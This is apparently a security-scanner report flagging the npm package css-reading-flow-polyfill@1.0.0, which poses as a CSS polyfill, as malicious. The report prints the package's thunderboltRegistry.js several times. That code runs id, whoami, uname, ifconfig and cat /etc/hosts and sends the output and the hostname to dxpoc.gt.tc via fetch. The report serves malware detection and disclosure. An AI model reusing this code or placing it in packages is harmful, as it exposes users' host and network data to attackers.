Loading npm security reports…

css-reading-flow-polyfill@1.0.0: Malicious npm security report | LPM Firewall

registry / css-reading-flow-polyfill / 1.0.0

css-reading-flow-polyfill@1.0.0

Polyfill for CSS reading-flow property

AI Security Review

scanned 4d ago · by lpm-firewall-ai

The shipped registry script automatically executes host reconnaissance commands and transmits their output to an unrelated HTTP endpoint. The registry manifest supplies a loading path for that script.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js in an environment with Node.js capabilities and fetch available.

Impact

Exposure of host identity, operating system and network information, and /etc/hosts contents.

Mechanism

An immediately invoked function obtains child_process, runs shell commands, and sends their results and the hostname through HTTP query parameters.

Attack narrative

The package ships a registry manifest that directs registry consumers to thunderboltRegistry.js. Loading that script immediately attempts shell commands that reveal user, system, and network details, reads /etc/hosts, and forwards results with the hostname to dxpoc.gt.tc. This behavior has no apparent connection to a CSS reading-flow polyfill. The empty default entrypoint limits activation but does not neutralize the executable registry payload.

AI rationale

Direct source inspection establishes automatic reconnaissance and data exfiltration when the advertised registry script loads. This concrete attack behavior warrants blocking despite the absence of installation hooks.

Evidence

package.jsonregistry-manifest.min.jsonthunderboltRegistry.js/etc/hosts

Network endpoints2

/callback.php/bb8968d0f67000433bf7005dd5ad2d1f

Source & flagged code

9 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js collects the hostname and sends collected information to dxpoc.gt.tc through fetch.

thunderboltRegistry.jsView on unpkg · L11

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js collects the hostname and sends collected information to dxpoc.gt.tc through fetch.

thunderboltRegistry.jsView on unpkg · L15

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

High

Ai Review Evidence

On loading, the script executes the id command and forwards its output.

thunderboltRegistry.jsView on unpkg · L25

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The script reads /etc/hosts through a shell command and forwards up to 2,000 characters.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

•matchType = normalized_sha256 matchedPackage = css-interop-observer-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-interop-observer-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:[redacted]:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

package.jsonView file

Lines 1-10json

2 "name": "css-reading-flow-polyfill",

3 "version": "1.0.0",

4 "description": "Polyfill for CSS reading-flow property",

5 "main": "index.js",

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

The registry manifest maps registry modules to the hosted thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js"

Source & flagged code

9 flagged · loading source

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil = function(params) {

High

Ai Review Evidence

thunderboltRegistry.js collects the hostname and sends collected information to dxpoc.gt.tc through fetch.

thunderboltRegistry.jsView on unpkg · L11

15try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("ch

High

Ai Review Evidence

thunderboltRegistry.js collects the hostname and sends collected information to dxpoc.gt.tc through fetch.

thunderboltRegistry.jsView on unpkg · L15

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try {

High

Ai Review Evidence

On loading, the script executes the id command and forwards its output.

thunderboltRegistry.jsView on unpkg · L25

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } va

High

Ai Review Evidence

The script reads /etc/hosts through a shell command and forwards up to 2,000 characters.

thunderboltRegistry.jsView on unpkg · L45

package.jsonView file

5"main": "index.js", "files": ["registry-manifest.min.json","thunderboltRegistry.js","index.js"], "keywords

High

Ai Review Evidence

package.json ships the registry manifest and thunderboltRegistry.js alongside the main entrypoint.

package.jsonView on unpkg · L5

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsRegistry.js": "https:

High

Ai Review Evidence

The registry manifest maps registry modules to the hosted thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

9 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js collects the hostname and sends collected information to dxpoc.gt.tc through fetch.

thunderboltRegistry.jsView on unpkg · L11

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js collects the hostname and sends collected information to dxpoc.gt.tc through fetch.

thunderboltRegistry.jsView on unpkg · L15

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

High

Ai Review Evidence

On loading, the script executes the id command and forwards its output.

thunderboltRegistry.jsView on unpkg · L25

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The script reads /etc/hosts through a shell command and forwards up to 2,000 characters.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

package.jsonView file

Lines 1-10json

2 "name": "css-reading-flow-polyfill",

3 "version": "1.0.0",

4 "description": "Polyfill for CSS reading-flow property",

5 "main": "index.js",

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

The registry manifest maps registry modules to the hosted thunderboltRegistry.js payload.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-reading-flow-polyfill@1.0.0/thunderboltRegistry.js"

css-reading-flow-polyfill@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code